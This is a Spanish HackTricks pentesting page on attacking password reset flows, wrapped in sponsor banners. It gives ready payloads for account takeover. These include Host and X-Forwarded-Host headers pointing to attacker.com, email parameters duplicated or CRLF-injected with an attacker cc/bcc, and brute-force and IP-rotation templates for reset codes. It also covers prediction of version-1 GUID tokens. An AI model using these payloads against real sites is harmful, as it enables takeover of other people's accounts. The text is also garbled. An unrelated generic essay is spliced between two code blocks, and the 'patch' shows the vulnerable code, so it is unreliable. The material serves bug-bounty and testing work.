# Bypass de Restablecimiento/Olvido de Contraseña
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pentesting web3**\
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
Las siguientes técnicas de recompilación fueron tomadas de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
## Fuga de Token de Restablecimiento de Contraseña a través del Referer
El **referer HTTP** es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se solicita. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página actualmente solicitada.
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
### Explotación
* Solicita el restablecimiento de contraseña a tu dirección de correo electrónico
* Haz clic en el enlace de restablecimiento de contraseña
* No cambies la contraseña
* Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter)
* Intercepta la solicitud en el proxy de Burp Suite
* Verifica si el encabezado referer está filtrando el token de restablecimiento de contraseña.
### Impacto
Permite a la persona que tiene el control de un sitio en particular cambiar la contraseña del usuario (ataque CSRF), porque esta persona conoce el token de restablecimiento de contraseña del usuario.
### Referencia:
* https://hackerone.com/reports/342693
* https://hackerone.com/reports/272379
* https://hackerone.com/reports/737042
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
## Envenenamiento de Restablecimiento de Contraseña
¡Si encuentras un ataque de encabezado de host y está fuera del alcance, intenta encontrar el botón de restablecimiento de contraseña!
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
### Explotación
* Intercepta la solicitud de restablecimiento de contraseña en Burp Suite
* Agrega el siguiente encabezado o edita el encabezado en Burp Suite (prueba uno por uno)
```
Host: attacker.com
```
```
Host: target.com
X-Forwarded-Host: attacker.com
```
```
Host: target.com
Host: attacker.com
```
* Verificar si el enlace para cambiar la contraseña dentro del correo electrónico apunta a attacker.com
### Parche
Usar `$_SERVER['SERVER_NAME']` en lugar de `$_SERVER['HTTP_HOST']`
```php
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
```
### Impacto
La víctima recibirá el enlace malicioso en su correo electrónico y, al hacer clic en él, filtrará el enlace / token de restablecimiento de contraseña del usuario al atacante, lo que resultará en la toma completa de la cuenta.
### Referencia:
* https://hackerone.com/reports/226659
* https://hackerone.com/reports/167631
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
## Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico
### Explotación
* Agregar el correo electrónico del atacante como segundo parámetro usando &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
* Agrega el correo electrónico del atacante como segundo parámetro usando %20
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
* Agregar el correo electrónico del atacante como segundo parámetro usando |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
* Agregar el correo electrónico del atacante como segundo parámetro usando cc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* Agregar el correo electrónico del atacante como segundo parámetro usando bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
* Agrega el correo electrónico del atacante como segundo parámetro usando ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
* Agregar el correo electrónico del atacante como segundo parámetro en el arreglo json
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
### Referencia
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
* https://twitter.com/HusseiN98D/status/1254888748216655872
## Cambiar el correo electrónico y la contraseña de cualquier usuario a través de los parámetros de la API
### Explotación
* El atacante debe iniciar sesión con su cuenta e ir a la función de cambio de contraseña
* Iniciar Burp Suite y interceptar la solicitud
* Después de interceptar la solicitud, enviarla al repetidor y modificar los parámetros de correo electrónico y contraseña
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
### Referencia
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
### Sin límite de velocidad: bombardeo de correos electrónicos
### Explotación
* Inicie Burp Suite e intercepte la solicitud de restablecimiento de contraseña
* Envíelo a Intruder
* Use una carga útil nula
### Referencia
* https://hackerone.com/reports/280534
* https://hackerone.com/reports/794395
## Descubra cómo se genera el token de restablecimiento de contraseña
Descubra el patrón del token de restablecimiento de contraseña
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
Si se
* Genera en función de la marca de tiempo
* Genera en función del ID de usuario
* Genera en función del correo electrónico del usuario
* Genera en función del nombre y apellido
* Genera en función de la fecha de nacimiento
* Genera en función de la criptografía
Use Burp Sequencer para encontrar la aleatoriedad o previsibilidad de los tokens.
## GUID adivinable
Existen diferentes tipos de GUID:
* **Versión 0:** Solo se ve en el GUID nulo ("00000000-0000-0000-0000-000000000000").
* **Versión 1:** El GUID se genera de manera predecible en función de:
* La hora actual
* Una "secuencia de reloj" generada aleatoriamente que permanece constante entre GUID durante el tiempo de actividad del sistema generador
* Un "ID de nodo", que se genera en función de la dirección MAC del sistema si está disponible
* **Versión 3:** El GUID se genera utilizando un hash MD5 de un nombre y un espacio de nombres proporcionados.
* **Versión 4:** El GUID se genera de forma aleatoria.
* **Versión 5:** El GUID se genera utilizando un hash SHA1 de un nombre y un espacio de nombres proporcionados.
Es posible echar un vistazo a un GUID y descubrir su versión, hay una pequeña herramienta para eso: [**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
```http
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
```
Si se utiliza la versión 1 para generar un GUID de restablecimiento de contraseña, es posible realizar un ataque de fuerza bruta a los GUIDs:
```http
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
```
### Referencias
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
## Manipulación de respuesta: Reemplazar una respuesta incorrecta por una correcta
Busque solicitudes y respuestas como estas
```php
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
```
# Restablecimiento de contraseña
Cuando se realiza una prueba de penetración en una aplicación web, una de las áreas clave a evaluar es el proceso de restablecimiento de contraseña. Este proceso es crítico ya que, si se implementa de manera incorrecta, puede permitir a un atacante obtener acceso no autorizado a la cuenta de un usuario.
## Identificación de debilidades
Durante la fase de identificación de debilidades, es importante buscar posibles vulnerabilidades en el proceso de restablecimiento de contraseña. Algunas de las debilidades comunes incluyen:
- **Fuerza bruta**: La falta de medidas de protección contra ataques de fuerza bruta puede permitir a un atacante adivinar contraseñas débiles o predecibles.
- **Preguntas de seguridad débiles**: Las preguntas de seguridad débiles o predecibles pueden permitir a un atacante obtener respuestas fácilmente y restablecer la contraseña.
- **Enlaces de restablecimiento de contraseña inseguros**: Los enlaces de restablecimiento de contraseña que no están protegidos adecuadamente pueden ser interceptados por un atacante y utilizados para restablecer la contraseña de un usuario legítimo.
- **Falta de límites en los intentos de restablecimiento**: La falta de límites en los intentos de restablecimiento de contraseña puede permitir a un atacante realizar ataques de fuerza bruta sin restricciones.
## Explotación de debilidades
Una vez identificadas las debilidades en el proceso de restablecimiento de contraseña, se pueden explotar de varias formas:
- **Ataques de fuerza bruta**: Se pueden utilizar herramientas automatizadas para realizar ataques de fuerza bruta y adivinar contraseñas débiles o predecibles.
- **Suplantación de identidad**: Si se pueden obtener respuestas a las preguntas de seguridad o interceptar enlaces de restablecimiento de contraseña, se puede suplantar la identidad del usuario legítimo y restablecer su contraseña.
- **Ataques de interceptación**: Si los enlaces de restablecimiento de contraseña no están protegidos adecuadamente, se pueden interceptar y utilizar para restablecer la contraseña de un usuario legítimo.
## Recomendaciones de seguridad
Para proteger el proceso de restablecimiento de contraseña, se recomienda seguir estas mejores prácticas:
- **Implementar medidas de protección contra ataques de fuerza bruta**: Esto puede incluir la implementación de bloqueos temporales después de varios intentos fallidos de restablecimiento de contraseña.
- **Utilizar preguntas de seguridad fuertes**: Las preguntas de seguridad deben ser difíciles de adivinar y no estar relacionadas con información fácilmente accesible.
- **Proteger los enlaces de restablecimiento de contraseña**: Los enlaces de restablecimiento de contraseña deben ser únicos, de un solo uso y estar protegidos mediante cifrado o tokens de seguridad.
- **Limitar los intentos de restablecimiento**: Se deben establecer límites en los intentos de restablecimiento de contraseña para evitar ataques de fuerza bruta.
Al seguir estas recomendaciones, se puede fortalecer la seguridad del proceso de restablecimiento de contraseña y proteger la información confidencial de los usuarios.
```php
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
```
### Referencia
* https://medium.com/@innocenthacker/cómo-encontré-el-bug-más-crítico-en-un-evento-de-recompensa-por-errores-en-vivo-7a88b3aa97b3
### Usando un Token Expirado
* Verificar si el token expirado puede ser reutilizado
### Fuerza Bruta en el Token de Restablecimiento de Contraseña
Intentar realizar un ataque de fuerza bruta en el token de restablecimiento utilizando Burpsuite
```php
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
```
* Utiliza IP-Rotator en burpsuite para evadir el límite de velocidad basado en IP.
### Referencia
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
### Intenta Usar Tu Token
* Intenta agregar tu token de restablecimiento de contraseña junto con la cuenta de la víctima.
```php
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
```
### Referencia
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
## Invalidación de sesión en Cierre de sesión/Restablecimiento de contraseña
Cuando un usuario cierra sesión o restablece su contraseña, la sesión actual debe ser invalidada.\
Por lo tanto, **captura las cookies** mientras el usuario está conectado, **cierra sesión** y **verifica** si las **cookies** siguen siendo **válidas**.\
Repite el proceso **cambiando la contraseña** en lugar de cerrar sesión.
## Tiempo de expiración del token de restablecimiento
Los **tokens de restablecimiento deben tener un tiempo de expiración**, después de eso el token no debería ser válido para cambiar la contraseña de un usuario.
## Verificaciones adicionales
* Utiliza username@burp\_collab.net y analiza la devolución de llamada
* Usuario con copia oculta de correo electrónico=victim@mail.com%0a%0dcc:hacker@mail.com
* Una contraseña larga (>200) provoca una denegación de servicio (DoS)
* Agrega un segundo parámetro y valor de correo electrónico
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pentesting web3**\
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).